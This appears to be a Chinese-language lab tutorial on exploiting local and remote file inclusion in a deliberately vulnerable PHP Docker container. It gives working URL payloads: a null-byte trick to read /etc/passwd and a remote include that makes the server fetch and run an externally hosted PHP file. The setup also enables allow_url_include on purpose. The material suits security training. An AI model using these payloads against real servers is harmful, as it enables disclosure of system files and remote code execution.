简介
在本实验中,你将学习如何利用本地和远程的文件包含漏洞。文件包含漏洞发生在用户输入未经过适当清理并被用于包含服务器上的文件时。这可能导致敏感数据泄露、远程代码执行以及其他严重后果。通过理解本实验中的技术和有效载荷,你将获得识别和利用这些漏洞的实践经验。
在本实验中,你将学习如何利用本地和远程的文件包含漏洞。文件包含漏洞发生在用户输入未经过适当清理并被用于包含服务器上的文件时。这可能导致敏感数据泄露、远程代码执行以及其他严重后果。通过理解本实验中的技术和有效载荷,你将获得识别和利用这些漏洞的实践经验。
在本阶段,我们将搭建一个实验环境,以练习利用文件包含漏洞的技能。
首先,执行以下命令以启动存在漏洞的 Web 应用程序:
docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com
该命令将启动一个运行在端口 81 上的 Docker 容器,其中包含一个易受攻击的 Web 应用程序。
接下来,打开你的浏览器并访问 http://127.0.0.1:81。你应该会看到该 Web 应用程序的主页。
在本阶段,我们将通过仔细检查 URL 参数来深入识别可能的文件包含漏洞。
在 Web 应用程序的主页上,点击“Submit”和“Login”按钮。注意浏览器地址栏中的 URL。你应该会观察到 URL 根据 page
参数发生变化,例如 http://127.0.0.1:81/index.php?page=submit
和 http://127.0.0.1:81/index.php?page=login
。
这种模式表明,Web 应用程序可能以不安全的方式处理用户输入,这可能会导致文件包含漏洞的出现。
在本阶段,我们将探讨如何检测文件包含漏洞。有两种常见的方法:
数组参数方法:将 page
参数修改为数组。例如,http://localhost:81/index.php?page[]=test
。如果你遇到提到“include”或“failed to open stream”的警告或错误信息,这表明可能存在漏洞,因为应用程序正在尝试基于用户输入包含文件。
本地文件包含测试:尝试包含服务器上存在的本地文件,例如 Linux 上的 /etc/passwd
或 Windows 上的 C:\Windows\System32\drivers\etc\hosts
。如果文件内容被显示出来,则确认存在本地文件包含漏洞。
在本课程中,我们将使用第二种方法,通过包含 /etc/passwd
文件来进行测试:
http://localhost:81/index.php?page=/etc/passwd
你可能会看到一条错误信息,表明应用程序正在尝试包含 /etc/passwd.php
而不是 /etc/passwd
。这是因为应用程序会自动在包含的文件后附加 .php
。
为了解决这个问题,我们可以使用空字节技术(%00
)。空字节会终止字符串,使应用程序忽略其后的任何内容。
尝试以下有效载荷:
http://localhost:81/index.php?page=/etc/passwd%00
如果你能看到 /etc/passwd
文件的内容,则验证了本地文件包含漏洞的存在。
在本阶段,我们将深入探讨远程文件包含的概念及其潜在漏洞。
远程文件包含是一个严重的问题,可能允许攻击者从外部服务器包含文件。这可能导致严重的安全漏洞,例如远程代码执行或敏感数据泄露。
让我们从一个示例开始,尝试包含托管在外部服务器上的远程文件:
http://localhost:81/index.php?page=https://www.example.com/index.html%00
执行此操作后,你应该能够在 Web 应用程序的响应中看到远程文件的内容。
在现实场景中,攻击者通常会在他们控制的服务器上托管自己的恶意有效载荷,然后尝试利用远程文件包含漏洞将其包含进来。
为了演示的目的,我们将使用 PentesterLab 网站上预托管的有效载荷:
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
此有效载荷触发了 phpinfo()
函数,该函数会泄露有关服务器 PHP 配置的信息。
请记住,这是对潜在漏洞的演示。在构建自己的应用程序时,实施适当的安全措施以防止此类攻击至关重要。在下一节中,我们将讨论一些相关的安全实践。
在本实验中,你学习了如何识别和利用本地及远程文件包含漏洞。你搭建了一个存在漏洞的 Web 应用程序,通过分析 URL 参数识别潜在漏洞,使用不同技术确认文件包含漏洞的存在,并最终成功利用了本地和远程文件包含漏洞。理解这些漏洞及其利用方法对于 Web 应用程序安全测试以及确保敏感数据和系统的保护至关重要。